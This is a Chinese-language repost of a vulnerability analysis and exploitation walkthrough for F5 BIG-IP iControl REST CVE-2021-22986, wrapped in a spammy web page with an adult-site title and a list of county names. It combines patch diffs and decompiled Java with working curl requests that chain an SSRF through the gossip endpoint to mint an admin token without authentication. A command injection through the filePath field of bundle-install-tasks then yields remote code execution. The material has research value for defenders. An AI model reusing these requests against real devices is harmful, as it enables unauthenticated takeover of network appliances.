中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

F5 BIGIP iControl REST CVE-2021-22986漏洞的分析與利用是怎樣的

發布時間:2021-12-29 17:45:56 來源:億速云 閱讀:162 作者:柒染 欄目:安全技術

今天就跟大家聊聊有關F5 BIGIP iControl REST CVE-2021-22986漏洞的分析與利用是怎樣的,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

漏洞概述

前段時間F5的BIGIP爆出了一些漏洞,其中CVE-2021-22986是一個pre-auth的RCE漏洞,存在于其iControl REST接口。其影響以下BIGIP的版本:

16.0.0-16.0.1
15.1.0-15.1.2
14.1.0-14.1.3.1
13.1.0-13.1.3.5
12.1.0-12.1.5.2

在此特地簡陋的分析下該漏洞以及利用方式。由于本人Java水平不是很高,如有錯誤,敬請指正。

漏洞定位

因為官方是沒有放出漏洞具體詳情的,所以需要自己根據patch來定位漏洞。剛開始我用的15.1.2和15.1.2.1的版本進行diff,沒有diff出命令注入。后來換成16.0.1和16.0.1.1就diff出來了。所以本次分析用的是bigip 16.0.1和16.0.1.1的版本。

官方說漏洞存在于iControl REST接口,查閱下相關資料即可知如何訪問該接口,默認是可通過443端口/mgmt/xxx路徑進行訪問。然后分析下httpd.conf可知對該路徑的請求都會轉發至localhost:8100進行處理:

...
<ProxyMatch /mgmt/># Access is restricted to traffic from 127.0.0.1
    Require ip 127.0.0.1
    Require ip 127.4.2.2

    # This is an exact copy of the authentication settings of the document root.
    # If a connection is attempted from anywhere but 127.*.*.*, then it will have
    # to be authenticated.

    # we control basic auth via this file...
    IncludeOptional /etc/httpd/conf/basic_auth*.conf

    AuthName "Enterprise Manager"
    AuthPAM_Enabled on
    AuthPAM_ExpiredPasswordsSupport on
    require valid-user
</ProxyMatch>

RewriteEngine on
RewriteRule ^/mgmt$ /mgmt/ [PT]
RewriteRule ^/mgmt(/vmchannel/.*) $1 [PT]

# Don't proxy REST rpm endpoint requests.
ProxyPass /mgmt/rpm !
ProxyPass /mgmt/job !
ProxyPass /mgmt/endpoint !
# Proxy REST service bus requests.
# We always retry so if we restart the REST service bus, Apache
# will quickly re-discover it. (The default is 60 seconds.)
# If you have retry timeout > 0, Apache timers may go awry
# when clock is reset. It may never re-enable the proxy.
ProxyPass /vmchannel/ http://localhost:8585/vmchannel/ retry=0
ProxyPass /mgmt/ http://localhost:8100/mgmt/ retry=0
# Adjust URLs in HTTP response headers
ProxyPassReverse /vmchannel/ http://localhost:8585/vmchannel/
ProxyPassReverse /mgmt/ http://localhost:8100/mgmt/
...

然后找到對應監聽的主程序:

[root@localhost:NO LICENSE:Standalone] config # ps aux |grep 8100
root      6138  0.6  5.4 451568 220732 ?       Sl   Mar24   6:21 /usr/lib/jvm/jre/bin/java -Djava.util.logging.manager=com.f5.rest.common.RestLogManager -Djava.util.logging.config.file=/etc/restjavad.log.conf -Dlog4j.defaultInitOverride=true -Dorg.quartz.properties=/etc/quartz.properties -Xss384k -XX:+PrintFlagsFinal -Dsun.jnu.encoding=UTF-8 -Df......

分析該啟動命令行可知,主類為com.f5.rest.workers.RestWorkerHost,大致知道下相關的jar文件都位于/usr/share/java/rest目錄下。在diff一些文件大小和時間經過改變的jar文件后,最終在f5.rest.workers.authn.AuthnWorker和com.f5.rest.tmos.bigip.access.iapp.IAppBundleInstallTaskCollectionWorker中發現了一些變化:

f5.rest.workers.authn.AuthnWorker:
protected void onPost(final RestOperation request) {
     final String incomingAddress = request.getRemoteSender();

     final AuthnWorkerState state = (AuthnWorkerState)request.getTypedBody(AuthnWorkerState.class);
     AuthProviderLoginState loginState = (AuthProviderLoginState)request.getTypedBody(AuthProviderLoginState.class);


-    if (state.password == null && state.bigipAuthCookie == null) {
+    if (Utilities.isNullOrEmpty(state.password) && Utilities.isNullOrEmpty(state.bigipAuthCookie)) {
       state.bigipAuthCookie = request.getCookie("BIGIPAuthCookie");
       loginState.bigipAuthCookie = state.bigipAuthCookie;
     }

     if (incomingAddress != null && incomingAddress != "Unknown") {
       loginState.address = incomingAddress;
     }

-    if ((state.username == null || state.password == null) && state.bigipAuthCookie == null) {
+    if ((Utilities.isNullOrEmpty(state.username) || Utilities.isNullOrEmpty(state.password)) && Utilities.isNullOrEmpty(state.bigipAuthCookie)) {
+
       request.setStatusCode(401);
       String msg = String.format("username and password must not be null or %s in Cookie header should be used.", new Object[] { "BIGIPAuthCookie" });

       request.fail(new SecurityException(msg));

+
       return;
     }

+    boolean isAllowedLinks = false;
+
+    if (state.loginReference != null && state.loginReference.link != null) {
+
+      for (URI iter : this.subscriptions.keySet()) {
+        if (state.loginReference.link.getPath().equals(iter.getPath())) {
+          isAllowedLinks = true;
+          break;
+        }
+      }
+      if (!isAllowedLinks) {
+        getLogger().severe("No login provider found.");
+        String msg = String.format("No login provider found.", new Object[0]);
+        request.fail(new SecurityException(msg));
+
+        return;
+      }
+    }
+
     state.password = null;
     request.setBody(state);
...

com.f5.rest.tmos.bigip.access.iapp.IAppBundleInstallTaskCollectionWorker:
+  private static final Pattern validFilePathChars = Pattern.compile("(^[a-zA-Z][a-zA-Z0-9_.\\-\\s()]*)\\.([tT][aA][rR]\\.[gG][zZ])$");
...
   private void validateGzipBundle(final IAppBundleInstallTaskState taskState) {
     if (Utilities.isNullOrEmpty(taskState.filePath)) {
       File agcUseCasePackDir = new File("/var/apm/f5-iappslx-agc-usecase-pack/");
       if (!agcUseCasePackDir.exists() || !agcUseCasePackDir.isDirectory()) {
         String error = "Access Guided Configuration use case pack not found on BIG-IP. Please upload and install the pack.";
         failTask(taskState, error, "");
         return;
       }
       File[] agcUseCasePack = agcUseCasePackDir.listFiles();
       if (agcUseCasePack == null || agcUseCasePack.length == 0 || !agcUseCasePack[0].isFile()) {

         String error = "Access Guided Configuration use case pack not found on BIG-IP. Please upload and install the pack.";
         failTask(taskState, error, "");
         return;
       }
       taskState.filePath = agcUseCasePack[0].getPath();
     }

+    String filename = taskState.filePath.substring(taskState.filePath.lastIndexOf('/') + 1);
+    Matcher m = validFilePathChars.matcher(filename);
+    if (!m.matches()) {
+      String errorMessage = String.format("Access Guided Configuration use case pack validation failed: the file name %s must begin with alphabet, and only contain letters, numbers, spaces and/or special characters (underscore (_), period (.), hyphen (-) and round brackets ()). Only a .tar.gz file is allowed", new Object[] { filename });
+
+
+
+      failTask(taskState, errorMessage, "");
+
+      return;
+    }
     final String extractTarCommand = "tar -xf " + taskState.filePath + " -O > /dev/null";


     ShellExecutor extractTar = new ShellExecutor(extractTarCommand);
...

結合下該鏈接的分析,可知第一個漏洞為一個SSRF漏洞。但是利用該漏洞有一些限制,稍后會提到。第二個漏洞為一個命令注入漏洞。

漏洞利用

SSRF影響的路徑為/mgmt/shared/authn/login,命令注入影響路徑為/mgmt/tm/access/bundle-install-tasks。查看f5.rest.workers.authn.AuthnWorker類可知,在訪問/mgmt/shared/authn/login路徑的時候如果POST數據中有loginReference字段,且滿足以下條件會把該請求連帶POST數據轉發至該loginReference字段的link路徑。

.......
  if (state.password == null && state.bigipAuthCookie == null) {
/* 323 */       state.bigipAuthCookie = request.getCookie("BIGIPAuthCookie");
/* 324 */       loginState.bigipAuthCookie = state.bigipAuthCookie;
/*     */     } 
/*     */
/* 327 */     if (incomingAddress != null && incomingAddress != "Unknown") {
/* 328 */       loginState.address = incomingAddress;
/*     */     }
/*     */
/* 331 */     if ((state.username == null || state.password == null) && state.bigipAuthCookie == null) {
/* 332 */       request.setStatusCode(401);
/* 333 */       String msg = String.format("username and password must not be null or %s in Cookie header should be used.", new Object[] { "BIGIPAuthCookie" });
/*     */
/* 335 */       request.fail(new SecurityException(msg));
/*     */
/*     */       return;
/*     */     } 
......

但是對該POST數據的字段是有白名單限制的。在轉發該請求之前,請求的POST數據會被重新設置:

/* 318 */     final AuthnWorkerState state = (AuthnWorkerState)request.getTypedBody(AuthnWorkerState.class);
/* 319 */     AuthProviderLoginState loginState = (AuthProviderLoginState)request.getTypedBody(AuthProviderLoginState.class);
              ......
/* 503 */     RestOperation checkAuth = RestOperation.create().setBody(loginState).setUri(makeLocalUri(state.loginReference.link)).setCompletion(authCompletion);
/*     */ 
/*     */
/* 506 */     sendPost(checkAuth);
/*     */   }

可以看到會根據loginState來進行setbody,亦即設置POST數據。只允許AuthProviderLoginState的字段:

public class AuthProviderLoginState extends RestWorkerState {
  public String username;

  public String password;

  public String address;

  public String bigipAuthCookie;

  public String authProviderName;

  public RestReference userReference;

  public List<RestReference> groupReferences;
}

所以如果直接利用SSRF來進行命令注入的話,不符合的字段是傳不到目標url的。

curl -ks https://192.168.190.136/mgmt/shared/authn/login -d '{"bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/tm/access/bundle-install-tasks"},"filePath":"`id`"}'

F5 BIGIP iControl REST CVE-2021-22986漏洞的分析與利用是怎樣的

當該url處理完成后如果未發生異常默認會繼續執行以下class的completed方法:

RestOperation checkAuth = RestOperation.create().setBody(loginState).setUri(makeLocalUri(state.loginReference.link)).setCompletion(authCompletion);

RestRequestCompletion authCompletion = new RestRequestCompletion()
/*     */       {
/*     */
/*     */        ......
/*     */         public void completed(RestOperation operation) {
/* 483 */           AuthnWorker.this.loginFailureMap.remove(failureKey);
/*     */
/* 485 */           AuthProviderLoginState loggedIn = (AuthProviderLoginState)operation.getTypedBody(AuthProviderLoginState.class);
/*     */ 
/*     */
/* 488 */           String authProviderId = loggedIn.authProviderName;
/* 489 */           if (authProviderId == null) {
/* 490 */             authProviderId = (state.loginProviderName == null) ? state.loginReference.link.toString() : state.loginProviderName;
/*     */           }
/*     */ 
/*     */
/* 494 */           AuthnWorker.this.getLogger().finestFmt("User %s successfully logged in from %s using the %s authentication provider.", new Object[] { loggedIn.username, this.val$incomingAddress, authProviderId });
/* 499 */           AuthnWorker.generateToken(AuthnWorker.this.getServer(), request, state, loggedIn);
/*     */         }
/*     */       };

訪問該url(mgmt/tm/access/bundle-install-tasks)返回的json數據會根據字段賦值給loggedIn(class AuthProviderLoginState)的各個字段:
F5 BIGIP iControl REST CVE-2021-22986漏洞的分析與利用是怎樣的

然后就會調用generateToken函數,根據函數名以及分析可知該函數可以產生登錄時的token,然后用該token即可訪問需要認證的資源。所以如果一切正常的話,上述訪問應該給我們返回一個token,但實際上返回的是以下內容:

?  CVE-2021-22986 ? curl -ks https://192.168.190.136/mgmt/shared/authn/login -d '{"bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/tm/access/bundle-install-tasks"},"filePath":"`id`"}'
{"code":400,"message":"request failed with null exception","referer":"192.168.190.1","restOperationId":7145511,"kind":":resterrorresponse"}

所以需要分析下token獲取失敗的原因。審計java代碼可發現token的產生是在AuthTokenWorker class里面,在關鍵代碼處下斷點后可發現token獲取失敗的原因,因為state.user為null。
F5 BIGIP iControl REST CVE-2021-22986漏洞的分析與利用是怎樣的

傳進去的state.user字段是在generateToken函數里面進行賦值的:

/*     */   public static void generateToken(RestServer server, final RestOperation request, final AuthnWorkerState authState, AuthProviderLoginState loginState) {
/* 516 */     if (authState.needsToken != null && !authState.needsToken.booleanValue()) {
/* 517 */       request.setBody(authState);
/* 518 */       request.complete();
/*     */
/*     */       return;
/*     */     } 
/* 522 */     AuthTokenItemState token = new AuthTokenItemState();
/* 523 */     token.userName = loginState.username;
/* 524 */     token.user = loginState.userReference;
/* 525 */     token.groupReferences = loginState.groupReferences;
/* 526 */     token.authProviderName = loginState.authProviderName;
/* 527 */     token.address = request.getXForwarderdFor();
......
/* 547 */     RestOperation createToken = RestOperation.create().setUri(UrlHelper.buildLocalUriSafe(server, new String[] { WellKnownPorts.AUTHZ_TOKEN_WORKER_URI_PATH })).setBody(token).setCompletion(tokenCompletion).setReferer("authn-generate-token");  <====
/*     */
/* 553 */     RestRequestSender.sendPost(createToken);
......

F5 BIGIP iControl REST CVE-2021-22986漏洞的分析與利用是怎樣的

根據前面分析可知,loginState各字段的賦值來源于對目標url訪問返回的json數據。而此時我們傳進去的userReference字段是null的,所以觸發了state.user==null,獲取token會失敗,這是最根本的原因。

所以要想正常獲取token需要我們利用ssrf訪問的url返回的json數據包含userReference字段。只需要找到一個能返回userReference字段的worker(url)即可。

在經過查找后,gossip worker(/mgmt/shared/gossip)符合條件:

?  CVE-2021-22986 ? curl -ksu admin:xxx https://192.168.190.136/mgmt/shared/gossip -d '{"userReference":{"link"
:"xxx"}'
{"userReference":{"link":"xxx"}

所以利用ssrf訪問該url可正常獲取token:

?  CVE-2021-22986 ? curl -ks https://192.168.190.136/mgmt/shared/authn/login -d '{"username":"admin","bigipAuthCooki
e":"","userReference":{"link":""},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}}'
{"username":"admin","bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/shared/gossip"},"token":{"token":"GFCDZ5OHG26QRMFKKETVAV2M6Q","name":"GFCDZ5OHG26QRMFKKETVAV2M6Q","userName":"admin","user":{"link":""},"timeout":1200,"startTime":"2021-03-25T07:51:35.742-0700","address":"192.168.190.1","partition":"[All]","generation":1,"lastUpdateMicros":1616683895741691,"expirationMicros":1616685095742000,"kind":"shared:authz:tokens:authtokenitemstate","selfLink":"https://localhost/mgmt/shared/authz/tokens/GFCDZ5OHG26QRMFKKETVAV2M6Q"},"generation":0,"lastUpdateMicros":0}

需要注意的是雖然username字段不指定時也可產生token,但此token是沒有權限的。

?  CVE-2021-22986 git:(master) ? curl -ks https://192.168.190.136/mgmt/shared/authn/login -d '{"username":"","bigipAuthCookie":"","userReference":{"link":""},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}}'
{"username":"","bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/shared/gossip"},"token":{"token":"F7B7234EB5G2DAZPKYZJZZE6I3","name":"F7B7234EB5G2DAZPKYZJZZE6I3","userName":"","user":{"link":""},"timeout":1200,"startTime":"2021-03-25T08:01:02.827-0700","address":"192.168.190.1","partition":"[All]","generation":1,"lastUpdateMicros":1616684462826871,"expirationMicros":1616685662827000,"kind":"shared:authz:tokens:authtokenitemstate","selfLink":"https://localhost/mgmt/shared/authz/tokens/F7B7234EB5G2DAZPKYZJZZE6I3"},"generation":0,"lastUpdateMicros":0}

所以實際上利用該url需要知道管理員用戶名才行,但是設備默認管理員用戶名就是admin,且好像不可更改和刪除,問題不大。獲取token后然后結合命令注入即可達到RCE的效果。
F5 BIGIP iControl REST CVE-2021-22986漏洞的分析與利用是怎樣的

看完上述內容,你們對F5 BIGIP iControl REST CVE-2021-22986漏洞的分析與利用是怎樣的有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

万荣县| 皋兰县| 静乐县| 孝义市| 石家庄市| 安西县| 漯河市| 玉树县| 吉水县| 灵武市| 浏阳市| 巧家县| 佛坪县| 武安市| 胶南市| 年辖:市辖区| 东海县| 泸溪县| 雅安市| 贵港市| 湟源县| 赫章县| 桃江县| 武冈市| 垦利县| 通州区| 呼图壁县| 玉树县| 南召县| 固安县| 南木林县| 万宁市| 彰武县| 册亨县| 鸡西市| 中西区| 镇平县| 绥德县| 津南区| 洪湖市| 泾源县|